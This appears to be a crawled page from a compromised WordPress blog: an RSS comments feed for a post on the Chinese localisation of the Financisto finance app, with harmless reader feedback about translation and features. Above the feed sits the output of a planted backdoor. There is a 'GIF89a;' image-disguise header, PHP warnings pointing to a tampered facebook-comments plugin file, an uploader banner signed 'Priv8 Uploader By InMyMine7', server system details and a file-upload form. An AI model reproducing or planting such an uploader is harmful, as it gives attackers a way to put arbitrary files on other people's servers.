GIF89a; <br />
<b>Warning</b>:  Undefined array key "" in <b>/home/data/websites/but.tw/webroot/wp-content/plugins/facebook-comments-plugin/facebook-comments.php</b> on line <b>3</b><br />
<pre><p>Priv8 Uploader By InMyMine7</p>FreeBSD freebsd-15-vm 15.1-RELEASE-p1 FreeBSD 15.1-RELEASE-p1 releng/15.1-n283582-0f691888dc56 GENERIC amd64
<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>

<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/data/websites/but.tw/webroot/wp-content/plugins/facebook-comments-plugin/facebook-comments.php:1) in <b>/home/data/websites/but.tw/webroot/wp-includes/feed-rss2-comments.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	相關評論：Financisto 1.3.6 中文化釋出	</title>
	<atom:link href="http://but.tw/2010/06/financisto-in-chinese/feed/" rel="self" type="application/rss+xml" />
	<link>http://but.tw/2010/06/financisto-in-chinese/</link>
	<description>but&#8217;s writings, notes, and murmurs</description>
	<lastBuildDate>Sat, 06 Jul 2013 07:34:47 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.3</generator>
	<item>
		<title>
		作者：Jose Sun		</title>
		<link>http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-29306</link>

		<dc:creator><![CDATA[Jose Sun]]></dc:creator>
		<pubDate>Sat, 06 Jul 2013 07:34:47 +0000</pubDate>
		<guid isPermaLink="false">http://but.tw/?p=42#comment-29306</guid>

					<description><![CDATA[你好，有點翻譯小建議想回報，但不知如何聯絡您，故在此留言，希望您能看見。關於每筆交易最下面的『信用卡付款』，一開始讓我以為只要是用信用卡刷卡的交易都要勾選，直到用了很久後才知道原來是繳費的交易才需要勾選，這樣在帳單統計的時候才不會列入。建議改譯為『信用卡繳款』或『信用卡繳費』，才不會讓人誤解，感謝。]]></description>
			<content:encoded><![CDATA[<p>你好，有點翻譯小建議想回報，但不知如何聯絡您，故在此留言，希望您能看見。關於每筆交易最下面的『信用卡付款』，一開始讓我以為只要是用信用卡刷卡的交易都要勾選，直到用了很久後才知道原來是繳費的交易才需要勾選，這樣在帳單統計的時候才不會列入。建議改譯為『信用卡繳款』或『信用卡繳費』，才不會讓人誤解，感謝。</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		作者：but		</title>
		<link>http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-6581</link>

		<dc:creator><![CDATA[but]]></dc:creator>
		<pubDate>Fri, 09 Dec 2011 05:22:10 +0000</pubDate>
		<guid isPermaLink="false">http://but.tw/?p=42#comment-6581</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-6240&quot;&gt;Jimmy&lt;/a&gt;.

系統功能的問題，可能要詢問原製作團隊。 我只是中文化作者...]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-6240">Jimmy</a>.</p>
<p>系統功能的問題，可能要詢問原製作團隊。 我只是中文化作者&#8230;</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		作者：Jimmy		</title>
		<link>http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-6240</link>

		<dc:creator><![CDATA[Jimmy]]></dc:creator>
		<pubDate>Wed, 23 Nov 2011 01:42:36 +0000</pubDate>
		<guid isPermaLink="false">http://but.tw/?p=42#comment-6240</guid>

					<description><![CDATA[報告功能中，以期間統計,&#160;只可追蹤昨天, 本周, 上一周, 本月, 上個月的資訊.請問該如何才能看到半年或一年內的每個月的資訊?]]></description>
			<content:encoded><![CDATA[<p>報告功能中，以期間統計,&nbsp;只可追蹤昨天, 本周, 上一周, 本月, 上個月的資訊.請問該如何才能看到半年或一年內的每個月的資訊?</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		作者：mandroid		</title>
		<link>http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-427</link>

		<dc:creator><![CDATA[mandroid]]></dc:creator>
		<pubDate>Sun, 15 Aug 2010 09:16:31 +0000</pubDate>
		<guid isPermaLink="false">http://but.tw/?p=42#comment-427</guid>

					<description><![CDATA[1.4.0 RC1已經可以在&lt;a href=&quot;https://launchpad.net/financisto&quot; title=&quot;&quot; rel=&quot;nofollow&quot;&gt;financisto開發主頁&lt;/a&gt;下載到，支持簡中，太棒了！]]></description>
			<content:encoded><![CDATA[<p>1.4.0 RC1已經可以在<a href="https://launchpad.net/financisto" title="" rel="nofollow">financisto開發主頁</a>下載到，支持簡中，太棒了！</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		作者：but		</title>
		<link>http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-410</link>

		<dc:creator><![CDATA[but]]></dc:creator>
		<pubDate>Tue, 03 Aug 2010 00:56:51 +0000</pubDate>
		<guid isPermaLink="false">http://but.tw/?p=42#comment-410</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-384&quot;&gt;runtao Tian&lt;/a&gt;.

已經提交給原計畫了，等下一次原計畫版本release吧。]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-384">runtao Tian</a>.</p>
<p>已經提交給原計畫了，等下一次原計畫版本release吧。</p>
]]></content:encoded>
		
			</item>
		<item>
		<title>
		作者：but		</title>
		<link>http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-409</link>

		<dc:creator><![CDATA[but]]></dc:creator>
		<pubDate>Tue, 03 Aug 2010 00:56:17 +0000</pubDate>
		<guid isPermaLink="false">http://but.tw/?p=42#comment-409</guid>

					<description><![CDATA[In reply to &lt;a href=&quot;http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-408&quot;&gt;ysl5413&lt;/a&gt;.

應該是 其實那塊是最近的版本才忽然冒出來的新功能 我也不太熟。不過目前用起來都不影響統計，所以我也沒在用那功能....]]></description>
			<content:encoded><![CDATA[<p>In reply to <a href="http://but.tw/2010/06/financisto-in-chinese/comment-page-1/#comment-408">ysl5413</a>.</p>
<p>應該是 其實那塊是最近的版本才忽然冒出來的新功能 我也不太熟。不過目前用起來都不影響統計，所以我也沒在用那功能&#8230;.</p>
]]></content:encoded>
		
			</item>
	</channel>
</rss>